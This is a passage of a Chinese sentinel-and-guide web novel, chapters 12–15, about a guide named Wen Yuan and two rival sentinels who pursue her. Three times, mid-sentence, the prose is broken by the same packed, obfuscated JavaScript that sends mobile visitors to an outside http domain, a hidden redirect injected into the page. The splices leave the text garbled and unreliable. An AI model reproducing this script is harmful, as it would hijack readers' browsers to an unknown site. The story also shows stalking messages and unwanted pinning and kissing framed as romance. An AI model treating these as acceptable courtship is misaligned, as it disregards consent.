“已经被我的精神体吞噬。”息蕴淡淡地开口,出示了自己的证件,“白塔一级执行官,S级哨兵,息蕴。” “你好,白塔护卫队队长,傅英姿。”傅英姿并没有怀疑她的话,反而弯下腰,看向了她身后的人,“这是?” “这是我的向导。”息蕴面不红心不跳地扯着谎,“她为了对付变异兽,耗尽了精神力。” “你的?”傅英姿不可思议地皱了皱眉,重复了一遍,“你的向导?” 息蕴不明白她问话的意思。 恰好这时,温沅悠悠地睁开眼。 她意识还没有彻底清醒,只隐约看到眼前的人影,愣了愣,小声叫道。 “英姿姐姐。” “小~温~沅~”傅英姿饶有兴致地挑起眉,“你谈恋爱这件事,温久她知道了么?” 12. 第 12 章 “所以,真的没有恋爱?” 病房里,温沅靠坐在床,手上正输着恢复液。 傅英姿坐在床边,低着头,手持一把小刀,正在削第三个苹果。 “嗯。”温沅轻声应着,“我是她的向导,不过只有临时疏导的关系。” “一级执行官,算是工作稳定。异能评级S,能力也不错。就是比你老了点。” 温沅在心底小声地嘀咕,也就差了五六岁。 “虽说,年纪大有年纪大的好处,只是她看起来冷冰冰的样子,也不像是个会疼人的。” “英姿姐!”温沅难为情地打断道,“你别说她了。” “另一个呢。”傅英姿挑了挑眉,看她红着脸的模样,笑意更浓了几分,“金家的小孙女,年龄倒是和你相近。” 温沅无奈地叹了口气。 “不过……”傅英姿放下手中的苹果,指了指脑袋,“看起来就不太聪明。” 病房外,金千娜正将门缝处堵得严实的息蕴挤开,冷不丁就听到了傅英姿的评价。 她讷讷地退开两步,侧头看到息蕴同样失落地垂着头,明白了。 这位白塔护卫队的队长,实在厉害,嘴巴一抿都能把自己毒死。 “幸好今天来的是我。”傅英姿还在说着,伸手扯过一张湿巾擦起手,“要是换做温久那个妹控,可能当场就和她打起来了。” “我姐不是那种人!”温沅红着脸争辩。 “怎么不是?你读高中那会儿,可爱得像个小糯米糕,要不是温久严防死守,恐怕早就被人拐跑了。连我多看你一眼,回头都要被她质问半天。”傅英姿伸手捏捏她的脸,又来了兴致,“不过,我还没见过两条鱼打架,真有意思,要不我现在就告诉她。” “她在污染区做任务,联络器没信号。”温沅赶忙握住她打开联络器的手,“英姿姐,别让她分心了。” “担心她?”傅英姿看她皱起了脸,心也软了下来,“我记得温久刚毕业那会儿,每次要出任务前,你都会在阳台拜那只小鲸鱼仙。还有一回,我刚看她坐上飞行器,扭头就见你哭得皱巴巴的,像个小包子。” 她当时就在想,真羡慕温久啊,要是小糯米糕是她的妹妹该有多好。 “因为她的任务很危险。”温沅低着脑袋,想起姐姐也有些担忧,“这次她已经有七个月没联系我了。” 温久大学毕业后,就进了污染区巡防队,负责清楚污染区边界的变异兽。 每出一次任务,少说也要一年半载。 “行了,温久你又不是不知道,她从小打架可就没输过。”傅英姿站起身,揉了揉她的脑袋,“时间不早,我得回白塔了,你好好休息。对了,让门口那两个偷听了半天的人,进来吃苹果吧。” 说着,她回头看了一眼没关紧的门缝,精神力如同有实体一般,直接将门拉开。 息蕴和金千娜猝不及防,就保持着弯腰的姿势暴露在温沅的视线。 许是想到了温久头疼的模样,傅英姿走过时,还拍了拍她俩的肩膀。 “好好努力。” 等到那个妹控回家,发现自家的宝贝妹妹有了对象,那场面…… 她一定会录下来,反复欣赏。 目送傅英姿离开,息蕴站直了身,摸了摸头,看向病床上的人。 “小蛇向导,抱歉,刚刚一时情急,我怕她多问,就撒了谎。” “装模作样。”金千娜抢在温沅开口前冷哼一声,“你就是对小沅医生图谋不轨!” 息蕴看也不看她,目光直直地望着病床上的人。 小蛇向导换上了医疗中心统一的病号服。 衣服有些大,松松垮垮地罩在外边,宽大的衣袖也挽起一截,露出左边纤细的胳膊。恢复液一点一点地输送进她发青的血管,直看得人生疼。 她的脸色红润了稍许,只是唇还泛着不健康的白,像个上色到一半的易碎娃娃,可怜极了。 “没关系的。”温沅笑了笑,“今天的事,还要多谢你们。” “小蛇向导。”息蕴关上门,敏锐的五感能确定周围没有别的人,“你的异能等级,应该不止有B吧?” 小蛇突然变大,一口吞下了A级的变异兽,完全不能简单的用爆发力来解释。 “我也不知道。”温沅垂下眸,仿佛犯了错的小学生,“当时,我感觉精神力被抽空,很快就没了意识。” 她只隐约看到了小蛇变大的模样,后来发生的事情,还是息蕴告诉她的。 “小蛇呢?”金千娜凑上前,眼里也是关切,“她还好吗?” “还在沉睡。”温沅抿抿唇,“应该没事。” 横竖找不出结果,她又一副恹恹的模样,两人对视了一眼,没有再问。 “你呢?会不会累?”金千娜走到床边,第一次看到她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970001|177796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样虚弱的模样,心也一抽抽地泛着疼,“要不要再睡一会儿?” 温沅想说不用,开口却打了个哈欠。 “休息吧,我们在这儿守着你。”息蕴抽出她靠坐的枕头,扶着她平躺下来,“在你醒来之前,我们不会吵架。” 温沅舒服地窝进了枕头,听着她的话,慢慢起了睡意,不自觉就阖上了眼。 一觉醒来已经是深夜。 温沅迷迷糊糊的,眼睛还没睁开,就感觉到左手被人捧着,正轻轻地揉捏。 病房里就三个人,她排除掉了高冷的执行官大人,下意识便以为是金千娜。 “娜娜,别闹了。” 那人动作一怔,再次轻抚了两下。 “这里没有娜娜,你要说,蕴蕴。” 温沅再三确定她听到了息蕴的声音,只是这话,怎么也不像她的风格。 完了。 她怎么会做那么诡异的梦。 梦里的执行官大人,居然捧着她的手在撒娇。 “怎么不叫了?” 息蕴闷闷地开口,把她的手放到嘴边,轻吻了一下那枚小小的针眼。 想起白天时傅英姿的评价,她小声地替自己辩解。 “没有冷冰冰,很会疼人,会疼。” 冰凉的触感从手背传至大脑,温沅意识清醒了稍许,终于发现自己并没有在做梦。 偏偏没有做梦才是最恐怖的噩梦。 她强忍着闭紧眼,只是手却微微地打着颤。 虽然息蕴一碰上温沅的事情,就会头脑发热到无法思考,但深夜的风很凉,她清晰地察觉到了她的不对劲。 “醒了?”她低低的声音在寂静的夜里尤为好听,“让你发现了也没关系。” 温沅愣了愣,想着自己该睁眼对上她,还是装睡到底。 犹豫不决之际,息蕴再次开了口,她的语气认真又带着一丝苦恼,仿佛在求教。 “小蛇向导,我发现,清醒的时候,我也变得越来越在意你。” 不是失控期的脑热,而是清醒时候的她。 在意,又是哪种在意? 温沅突然开始后悔白天睡了太多,害她现在没有半点困意,心都跳得乱七八糟。 不远处,金千娜抱着灰狼睡得正香。 她砸吧砸吧嘴,啃了一口灰狼的毛,恨恨地说道。 “妈妈,不许喜欢她!” 13. 第 13 章 昨夜的悸动仿佛一场梦。 醒来后,息蕴已经没了踪影。 金千娜在门口和人说着话,温沅侧头,看到趴在床沿的灰灰。 小狼哈哧哈哧地喘着气,嘴角带着向上的弧度,把她的指尖都舔得湿湿黏黏。 该不会,昨天,她把灰灰当成了执行官吧? 正想着,金千娜已经转身走了回来。 看到尾巴摇得转圈的灰灰,她不满地跻身上前,占据了温沅的视线。 “我都没舔过你的手,你怎么让她先舔了?” 温沅哭笑不得,不明白为什么会有人和自己的精神体吃醋。 “你们聊了什么?我好像有听到我的名字。” “是……”金千娜眼底闪过一丝犹豫,“白塔的向导招募,你的申请被驳回了。” 医疗中心上报的名额有限,自然以等级排名。 “哦,原来是这个。”温沅勉强地笑了笑,“其实,我早就猜到了,但还是想试试。” 她说着开解的话,脑袋却越埋越低,手也抠着床单,指尖捏得泛白。 额前的碎发遮盖住她失落的神情,从金千娜的角度看去,只能看到她尖尖的下巴。 就那么想去吗? 金千娜怔怔,心像被她牵动一般也有些闷闷重重的,难以呼吸。 “又不是非得通过白塔才能进污染区。” “嗯?” 温沅抬起头,对上金千娜专注又认真的眼神。 “你想去的话,我们就去。” 温沅有些发愣,圆圆的大眼睛里还有未干的湿润。 “我说,明明我也比你大几个月,不要老是把我当小孩行吗?”金千娜揉着她毛茸茸的脑袋,忍不住摸了又摸,“适当地依赖我一下,好吧。我可是S级的哨兵,就算身处污染区也能保护好我的向导。” “你是说?”温沅惊讶地瞪大眼,没敢说出自己的猜测。 “自由组队也能进污染区。”金千娜捏住她的脸,“随队向导,你愿意跟我进污染区吗?” 除了白塔直属的小队,还有一些自由组织的小队也会进入污染区,通过捕杀变异兽,获取精神结晶,换取酬劳。只是,白塔有规范,自由组队必须配备有一位A级或A级以上的哨兵,人数也有一定要求。 温沅不过是个B级的向导,即使对污染区充满了向往,也从没考虑过组队前行。 “真的吗?”温沅蓦地仰起头,眼睛亮亮地弯成了月牙,她惊喜地愣了许久,反应过来,又举起手连连答应道,“我愿意,愿意的!” 真……可爱啊。 笑起来可爱,大声说愿意更可爱。 金千娜只觉得心满满当当的,喜欢得快要膨胀。 她不受控地靠近了几分,看她没有防备的模样,直接将人扑进了被窝。 “唔……” 温沅猝不及防,就被人压倒在床。 灰卷发垂落在她耳边,即便隔着两层病号服,她依旧能感受到金千娜贴上来时灼热的体温。 “娜娜,你该不会……”也失控了吧? 问话还没说完,她就感觉脸颊被人啃了一口。 “好坏啊,小沅医生好坏。”金千娜低声喃喃,又轻轻地啜了两下,“这里那么红,勾着我来亲呢,是不是?” “娜娜!”温沅伸手推她,“你清醒一点!” 金千娜没有理会她的挣扎,灰瞳里的眸色渐渐浓了起来。 她一把抓住那双胡乱拍着的小手,猛地往上一抬,另一边手则是扯起了厚重的被窝,盖住了两人的头顶。 睡了一整晚,被子里还有温沅淡淡的香味,如今却成了刺激哨兵失控的催化剂。 黑暗中,只剩两人急促的呼吸,闷闷的,热热的。 金千娜忽地想起了什么,低低地笑道。 “这里好闷啊,好担心小沅医生会被我亲晕过去。” 她说着,身体贴紧温沅,坏心眼地蹭动了几下。 “要不要,试试看?” 骚扰信息的内容霎时浮现在温沅的脑海,她突然反应过来,看着眼前的人,不敢相信。 “就是你给我发了那些信息!” “什么信息?”金千娜佯装不懂,凑到她耳边,“你不告诉我是什么内容,我怎么会知道,是不是我发的呢?” “就是那个……”温沅话音一顿,肉麻的信息,她半个字也说不出口,“反正就是你!” “小沅医生不告诉我,那就让我来猜猜看。”金千娜探出舌尖,轻轻滑过她的耳后,“是不是有人给你发了信息,告诉你,她想亲你,吻你,把你拖进被子里亲到昏迷。我的舌头也很厉害呢,要试试吗?妈妈。” 哪有人掉马都如此理直气壮。 温沅气鼓鼓地瞪着眼,还没开口,眼睛又被粘过来的人亲了一口。 “嗯,就这样看着我,只看着我。” 湿润的吻落在她紧闭着眼皮,再到鼻尖。 金千娜定睛望着她红红的唇。 “怎么办,好兴奋啊,太用力会不会亲坏?” 温沅愤愤地偏过头,不想理她。 就在金千娜咽着口水,不断靠近时。 一记重物横空飞了过来,稳稳砸到了她的脑袋。 暧昧的氛围被打乱,她强撑着还想继续,又一记重物砸了过来。 “有完没完!” 金千娜狠狠地掀开被子,果不其然看到了站在门口的息蕴。 她表情淡淡,一边手拎着早餐,一边手控制着灰狼。 若不是两只脚光着,床边还有飞落的鞋。 恐怕谁看了都会觉得她无辜。 “小蛇向导,饿了吗?” 她装作什么也没看到地走到床边,手上却使了十成的劲儿,把作恶的小狼拽了起来。 温沅的呼吸还没平缓,脸被亲得红红润润的,看得息蕴也有些无端的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970002|177796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燥热。 “醒了就吃早餐吧。” 她强迫自己移开视线,把早餐放在床头,若无其事地穿起了鞋。 金千娜气得咬牙,冷不丁又听她装模作样地开口,说话的方向却是对着温沅。 “鞋子太滑了,不小心砸到了人,你应该不会怪我打扰了你们吧。” “说什么太滑,根本就是故意的吧!”金千娜不甘示弱地看向温沅,“你信她?” 温沅看了看她俩,一个是扰乱了她整晚的罪魁祸首,一个是骚扰了她好几天的跟踪狂。 “你们都给我出去!” * 在医院静养了两天,温沅的精神力也恢复了大半。 出院那天,息蕴早早守在了医疗中心门口,见她出来就接过了行李。 执行官大人变回了常态,面冷寡言,温和有礼。 温沅还是更习惯她这副模样。 虽然言行举止中透着一丝疏离,但至少不会再说那些令人心乱的奇怪话。 两人一前一后地走回了家。 出了电梯,温沅感激地转身,想要拿回自己的行李。 话到了嘴边,没能说出口,她就被眼前的人抱了个满怀。 息蕴抱得很紧,整个人都陷进了温沅那件蓬松厚实的羽绒服。 “息女士,您……”温沅有些不知所措,只能呆呆地被她抱着,“为什么,突然要抱我?” “不对吗?”息蕴眼底却满是茫然,“我每次做完任务,精神力不足的时候,只要拥抱你就能恢复大半。我还以为,精神联结过的向导和哨兵,可以通过身体接触,传递精神力。” 原来,执行官大人只是想帮她恢复精神力。 温沅松了口气,她就知道,执行官大人根本就不可能对她有别的意图。 “谢谢你,息女士。”她笑了笑,伸手拍拍息蕴的肩膀,“虽然你是为我好,但是拥抱并不能传递精神力哦。” 息蕴恍然地点点头,很快就松了手。 “原来如此,失礼了。” “没关系啊。”温沅摆摆手,表示自己没在意,“你也是为了我着想嘛。” “是我误会了。”息蕴站在原地,视线落在温沅的脸,“昨天早上,我看到金哨兵抱着你,还以为她是在给你补充精神力。原来并非如此,既然拥抱不能传递精神力,为什么你要让她抱呢?” 温沅一怔,仿佛看到息蕴眼底一闪而过的狠戾,又好像只是她的幻觉。 她不知该如何回答,小狼对她而言,就像亲手养大的小孩。 两人之间的亲密举动,确实早就超过了常人的社交距离。 即使小狼亲吻了她,她的第一反应也不是拒绝和责怪,而是在想,该如何给小狼科普生理知识。 息蕴却误把她的沉默当成了肯定,往前一步,把人抵进了角落。 “小蛇向导,你让金哨兵抱着你的原因,该不会是,你喜欢上她了吧?” 14. 第 14 章 “不……不是喜欢。” 温沅猛地抬头,撞入息蕴凌厉的眸。 习惯了平易近人的执行官,如今看到她冷脸的模样,温沅心里也不自觉地发颤。 “息女士……” “不要息女士。” “唔……” “叫我息蕴。” “息……息蕴。”温沅小声地开口,伸手推着她压过来的肩膀,“能不能,先松开再说话。” 息蕴低头望着她,没有说话,幽邃的眼里却明明白白地写着“不能”两个字。 “娜娜是我带的第一个病人。”温沅无奈,只好缓缓地开口解释,“她之前在污染区里待了很多年,还不能适应正常社会的交往规则,所以……” “所以,我也是小蛇向导的病人。”息蕴侧头到她耳边,视线落在她爆红的耳朵,“作为你的病人,我是不是也该享受到同等的待遇?小蛇向导应该不会厚此薄彼吧。” “什么?” “我看到她亲你了。”息蕴看她错愕地半张着嘴,没忍住,啜了一口她的脸颊,“除了这里,还有哪里呢?” 温沅蓦地红了脸,推不开比自己大了一圈的哨兵,只能捂住她的嘴。 “没有了。” “真的没了?”息蕴挑眉,目光往下盯着她泛着红光的唇,呼吸也重了几分,“嘴巴也很红,真的没有被那条臭狗亲吗?” 温沅一瞬咬紧了唇,不敢看她灼热的视线,只摇着头。 “没有,真的没有。” 息蕴相信她的说辞,只是身体的燥热已经无法控制。 紧扣在温沅腰后的手微微松开,掌心沿着腰窝,一寸一寸向下滑落,最后覆上了她的腿根。 “啊!” 随着温沅一声惊叫,息蕴用膝盖抵开了她的双腿。 手也用力,在分开的瞬间,托着她的大腿,将人抱离了地面。 温沅顿时双脚悬空,全身的重心都落在了息蕴一双有力的手掌。 她吓得抱紧了息蕴的脖子,自己也没留意到,靠近的一瞬间,唇瓣轻轻擦过了对方的耳尖。 息蕴感觉一阵电流从她亲吻过的地方流至全身,整个人酥酥麻麻的,舒服极了。 “想喝水了,医生。” 她没由来的一句,听得温沅有些懵懂。 喝水就回家喝,抱她做什么。 温沅气急,拍打着她的肩膀,恼怒道。 “息蕴,你把我放下来!” 她半坐在息蕴抬起的手臂,视线也高出一截。 说话时,只看到息蕴微微张着嘴,眼神专注得几近失焦。 向来无机质的一双冷眸,这时却装满了她惊慌失措的模样。 “好,放下来。” 息蕴答应了一声,手却没放松,反而身体后倾,飞快地往后一仰。 失重感更明显了几分,温沅也不受控地朝她扑了过去。 两人身体紧贴的片刻,红润的唇也如息蕴料想的那般,触在了她的唇。 笑容都不擅长的人,这会儿也勾起了嘴角。 “你!” 温沅脸红得像火烧,想要退后,后脑勺却被按住。 息蕴像是真的渴了,迫切地反复碾着她的唇瓣。 不止是呼吸,还有不自觉溢出的津液,全都被她卷入了口中。 她一手托住怀里的人,一手按在她的脑后,再次将人压进了墙角。 一时间,安静的楼梯间,只能听到两人交叠的喘息声和唇瓣贴合又分开时的黏着声。 每次温沅被吻得透不过气,扭着脸想要逃开,又总被她按着头继续。 直到两人的脸都泛起了红,息蕴意犹未尽地退开稍许,眼底已经染上了更浓的欲念。 “谢谢,小蛇向导的款待,我喝得很饱。” 她说话时,唇周还有一层薄薄的水光,分不清究竟是她的还是温沅的。 “哪有人这样喝水的!”温沅委屈地瞪她一眼,嘴巴都被她亲得生疼,眼角也泛起了红,赌气地说道,“既然我不能厚此薄彼,明天我就去找娜娜,让她……” 话还没说完,她就瞧见息蕴的眸光暗了一个度。 虽然没有明显的表情,但她就是看出了对方的不高兴。 “找她?”息蕴挑起眉,再也没了往日里的温和,鼻尖贴在她的脸颊磨了磨,“确定要找她?” “我……” 温沅刚开口,嘴就被她咬了一下。 “还找吗?” “不找了。”温沅呜呜咽咽地拍打着她的肩膀,“你咬我!你都把我亲肿了还咬我!” 她可怜的模样也可爱极了。 息蕴望着她眼角的湿润,不禁又失了神。 “别哭了,是我的错。” 温沅不理她,脑袋偏过一边,靠在她的肩头,重重咬了一口泄愤。 只是她的力气小,咬人就和小猫撒娇似的。 息蕴抱着她颠了两下,仿佛在哄闹别扭的小孩。 “再哭,我又要亲你了。” 温沅一顿,不解气地,再咬了她的一口。 “以后,不许随便亲我。” “好。” 答应得那么爽快? 温沅怀疑地看了她一眼,刚站稳脚,又听她道。 “不随便,就可以亲了吗?” “不可以!”温沅恶狠狠地瞪了瞪,又怕把她看兴奋了,赶紧开门钻了进去,“亲我就咬你。” 她说完,飞快地关上了门,只剩息蕴站在门前,伸手抚摸着自己还留着余温的唇。 “下次,就咬我嘴上吧。” 大门的隔音不好。 话音从门缝里传了进来,温沅捂着自己的耳朵,暗骂了一句“坏蛋”。 全都怪她太容易轻信人。 当真以为执行官大人性冷疏离,偶尔还觉得她傻乎乎的。 结果,傻乎乎的人,根本就是自己! 什么笨手笨脚,那双手明明坏极了,还特别无赖! 按着她就不肯松开。 温热的触感仿佛还在她的后腰和大腿,光是回想都觉得腿软。 小蛇从她的衣领里探出脑袋,好奇地开了口。 “温沅,为什么小章鱼的人总爱吃你的嘴巴?” “你在说什么!”温沅赶紧捏住她的嘴,往屋里走了几步,小声反驳道,“也没有很多次吧。” “上一次,你替她疏导,坐在她腿上的时候……” 小蛇还想再说,嘴又被捏住了。 她脑袋小小,想不明白,怎么一觉醒来,温沅就变得奇奇怪怪的,一直不许她说话。 “疏导的过程,发生不受控的亲密行为,很正常的。”温沅也不知道是在说服小蛇,还是在开解自己,“一定是我们精神力联结,有所影响,她才想亲我……” 小蛇歪歪头,还想说话,又被她打断。 “倒是你。”温沅点点她的小脑袋,“现在还好吗?” “除了很撑。”小蛇呆呆地想了想,“没有其她的感觉。” 小蛇自己也搞不清楚,为什么身体会突然变大,还能一口吞下个高级的变异兽。 “温沅,我是不是很奇怪?”小蛇攀上她的手,“我是生病了吗?” “不是生病。”温沅认真地对上她的小圆眼,笑道,“你很勇敢,救了小智和我。你是很厉害的精神体,没有很奇怪。” 小蛇半抬的脑袋一滞,许久才缓过神。 “温沅,我喜欢你夸我厉害。” 小蛇知道自己很胆小,因为害怕被人讨厌,总是躲在温沅的精神图景里不敢出来。 别人家的精神体,总能替向导分担一部分疏导的工作。 她却不能。 不过,现在…… “我也是,有用的精神体了,对吗?” “当然。”温沅看出她的犹疑,肯定地点点头,“小蛇本来就是很厉害的精神体。” 小蛇高兴地在她手臂上拱了拱脑袋,忽地又抬起头。 “我已经消化好了哦,现在可以吃很多很多的变异兽!” 温沅哭笑不得,正想和她说不需要再吃那么多时,联络器突然亮了起来。 【向导防护服.jpg】 【抱着你的衣服睡觉,就像抱着你一样】 【想亲你,想亲你,想亲你】 【什么时候乖乖让我亲一口?】 【虽然,妈妈瞪我的时候也好可爱】 【每次被你甩脸,我都好兴奋啊】 【兴奋到想要立刻舔你^^】 【到时候,你会不会一边瞪我,一边红着脸喘气?】 【受不了了妈妈】 【你开视频让我看一眼,就看一眼,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970003|177796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好?】 不再是陌生的匿名号码。 金千娜装都不装了,直接用了自己的通讯号码。 温沅沉默了许久,只淡淡地回了一句。 【你想让我把你这个号码也拉黑?】 金千娜很快就有了回复。 【好冷漠】 【明明昨天还躺在我怀里,被亲得失神】 【其实是很喜欢的对吧?】 【太好了,我也很喜欢】 【我们真是天生一对呢^3^】 温沅懒得再看,知道她还有很多通讯号码,直接把她送进了黑名单。 果不其然。 隔了不到两分钟,通讯器再次收到了她的消息。 【拉黑我了555】 【坏妈妈】 【你就不问问我有什么正事要找你吗?】 正事? 温沅不解,随口问了句。 【什么正事?】 不等片刻,对方就回了过来。 【自由组队】 【白塔有规定,组队人员必须提供身体报告】 【我这周就申请出院,最快下周就能带你进污染区】 【只不过……】 【只不过什么?】 【只不过,你也知道,我是无家可归的人】 【我出院以后,回不了金家,可以借住在你家吗?】 温沅犹豫了片刻。 她也知道金家对于这个流落在外的孙女,一直没有明确的态度。 只是小狼最近变得过于粘人,如果同住一个屋檐下…… 【息女士就住在我对门】 【明天遇到她,我帮你问问看还有没有多余的房间】 【?】 【不是,谁要跟那个臭海鲜住啊!】 【我不要!我不要!我不要!】 温沅没再继续看她的消息,默默把联络器静音。 即便再迟钝,她也看出了两人之间的不对付。 可是……为什么呢? 温沅撑着下巴想了半天,没想明白。 大概因为她俩都是S级哨兵吧。 学霸和学霸互相看不顺眼,很正常。 * 金千娜出院的事情提上了日程。 这几天上班的时候,温沅都有听到周围的人在讨论。 同科室里也有八卦的人,直接问到了她。 她支支吾吾地不知该如何回答,索性拿起记录本,借口巡视病房,逃一般地出了办公室。 工作日的住院部人不算多。 温沅走进电梯,按下楼层便退到了角落。 正等电梯门缓缓闭合时,一只毛茸茸的脑袋探了进来。 是一只白虎精神体,雪白的绒毛中夹杂着一条条黑色的纹路。 她优雅地踏着步伐走到温沅脚边,仿佛没看到她一般,厚实大掌压上她的脚面,随后整只虎都趴了下来。 嘶——好重! 温沅咬着牙,想要抽回脚,抬眼却看到一个女人走进了电梯。 低马尾,偏分的黑发到耳后,其中有几根白色的碎发,她生了一双眼尾上挑的杏眼,高挺的鼻梁下,薄唇紧抿,透露出几分不怒而威的气势,俨然就是这只白虎的共生异能者。 “这位女士……” 温沅小声地开口,想要提醒她管管自己的精神体。 只是话还没说完,女人就打断了她。 “不咬人。” 啊? 温沅愣了愣,反应过来女人是在说她脚下的白虎,更是无奈了几分。 “我是想说……” “可以摸。” 女人话落,白虎就抬起肉掌,拍拍温沅的手。 好似在示意她,赶紧来摸摸自己的大脑袋。 这对吗? 温沅困惑极了,却没忍住伸出手,揉了揉白虎的大脑袋。 嗯……和小猫咪的手感差不多。 “不是!”温沅回过神,抬头望向身边的女人,“我是想说,您能不能让她稍微挪一下身体。她有点重,坐在我的脚上,真的……很疼。” 女人定定地看了她许久,久到电梯门开,白虎也站起了身。 她突然几步走到温沅面前,低下头,平静的眼里透着些许疑惑。 “你刚刚在对我撒娇?” 15. 第 15 章 女人的问话莫名其妙。 温沅不解地歪了歪头,一时都有些语塞。 “我没有在撒娇。”她认真地开口,“反而是您的精神体先踩到了我,不仅如此,您还对我说奇怪的话,真是……是……” 她想不出合适的词,只看到面前的女人无辜地眨了眨眼。 “总之,您这样的行为,很冒犯。” 即使眼前的哨兵比自己高出一个头,身形几乎挡住了她的视线。 温沅仍旧不满地瞪了她一眼,绕开她就想往外走。 “抱歉。”女人突然伸手拦住了她,“并不是想冒犯你。” 电梯门等了太久,这会儿缓缓关了起来。 女人的声音落在密闭的空间里,更是厚重了几分。 “我不知道她踩到了你。”她微微低头,看了一眼温沅脚上的浅色棉鞋,很快又移开了视线,“你说话的神态和咪咪很像,她每次撒娇之前都会这样望着我,让我有了误解。” 她想说很可爱,又怕自己说太多再次冒犯眼前的向导。 “咪咪?” 温沅愣了愣,不等女人解释,旁边听了许久的白虎就傻乎乎地举起了肉掌。 “是她。”女人浅浅一笑,从兜里拿出自己的名片,“作为道歉,我想,我应该请你吃顿晚餐。” “不用了。”温沅摆摆手,没有接过,“我还有事,您挡到我了。” 女人遗憾地垂下眼,嗅觉里满是眼前这位向导的香味。 淡淡的白花香,夹杂着一丝木质香的奶味。 很好闻。 她不想就这样放人离开。 只是,对方明显还在生气,脸颊鼓鼓的透着红。 明明说话的时候,语气软软的像只小猫。 这会儿气急了,又像只凶猛的小仓鼠。 她无奈地收回了名片,拦在温沅胸前的手也跟着放了下来。 温沅没再看她,匆匆按下开门键,就快步走了出去。 女人看了眼楼层,顿了顿,跟在她身后,一同出了电梯。 走廊里空荡荡的。 一前一后的脚步声尤为明显。 温沅回头看了眼,落后自己半步的女人,有些恼怒。 “您为什么要跟着我?” “我……”女人对上她的眼神,话音不自觉低了一个度,“我也是来这层。” 温沅不信她,自顾自地加快了步伐,最后停在了尽头的VIP病房。 她顿了顿,正想敲门,冷不丁看到之前还慢自己几步的女人,这时也到了她身后。 “您还说没跟着我?” “我……”女人是有口难言,只能苦笑,“真的没有。” 两人对峙之际,病房的门倏地被人拉开。 “小沅医生,你来……”金千娜乖巧地探出头,视线触及到一旁的女人,笑脸一滞,“小姨,你怎么会在这里?” “小姨?”温沅震惊地重复了一遍,望着女人的视线也不由得变了又变。 “对对,我小姨就是你小姨。”金千娜听到温沅的称呼,又笑弯了眼,“以后都是一家人。” “娜娜,不许乱说。”女人冷下脸,看到身边久久没有回神的向导,又出声解释道,“虽然辈分高,但我没有比她大几岁。” 眼前这个莫名其妙的人,居然是金千娜的小姨。 温沅恍惚地点了点头,走进病房还没缓过神。 “所以,您就是金家……” 现任的家主,金家唯一的女儿,金千娜母亲的妹妹。 “金素爱。”金素爱接过她的话,“今年三十,单身未婚,异能评级S级,精神体是白虎,您还有什么想要了解的吗?” “有必要介绍得那么隆重吗?”金千娜不解地打断她,“小沅医生是我的医生,又不会和你有生意上的往来。” “你叫小圆?”金素爱仿佛没听到她的话,直勾勾地看着温沅,“你的名字很适合你。” 眼睛圆圆的,鼻头圆圆的,脑袋也圆圆的,怪不得叫小圆。 温沅一听便知道她误会了。 “不是圆形的圆,是沅,三点水一个元。” 她伸出手,凭空写了个“元”字。 金素爱却不太明白地摇摇头,把掌心递给她。 “写给我看。” 温沅本想拒绝,只是对方看起来真的很想知道,一双眼睛里写满了求知欲。 她无奈地托住了那只大手,指尖在她掌心轻轻地滑动,写出自己的名字。 许是想要看清她在写什么,金素爱弯着腰,头都快贴了过去。 两人实在靠得太近。 金千娜皱着眉,总觉得哪里不太对劲,她的小姨可不是什么好奇的人,平时也不见对谁特别关心。 该不会是…… 她心里警报声响起,伸手就将两人隔开。 “不懂回去查字典就行了。”她古怪地看了一眼金素爱,回头对着温沅道,“小姨难得来一趟,多半找我有事呢。” 温沅看懂了她眼里的意思,反正她也不想和金素爱有过多的牵扯,很快就答应道。 “我待会儿再来。” 她说完,没有停留,转身离开了病房。 白虎傻傻地跟出去几步,“砰”的一下被门砸到了头。 “小姨,你的精神体很喜欢小沅医生?”金千娜意味深长地开口,“不过可惜了,小沅医生似乎更喜欢我的灰狼。” “她就是那个让你想要出院的向导?”金素爱收回视线,扭头向她,“看起来和你 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两人就住在对门,她试图偶遇了几次,偏偏小蛇向导就像没看到她一样,连眼神都不分给她半个。 “你来做什么?”温沅没好气地看她一眼,“今天又没有治疗。” “我来和你道歉。”见她愿意搭理自己,息蕴半蹲下身,“对不起。” 说到底,温沅也没有怪罪她的意思。 她心里也明白,要是她不愿意,压根就不会给眼前的哨兵得逞。 至于,为什么要躲她呢? 两人做了那样亲密的事情,还是在息蕴清醒的时候。 她实在不知道该怎么面对。 “可以,和好吗?” 息蕴见她不说话,伸手在她面前比划出一个小人跪地的动作。 “这是什么?” “给你跪下了。” 温沅强忍住笑意,还要她承诺。 “那你保证,以后不许亲我了。” 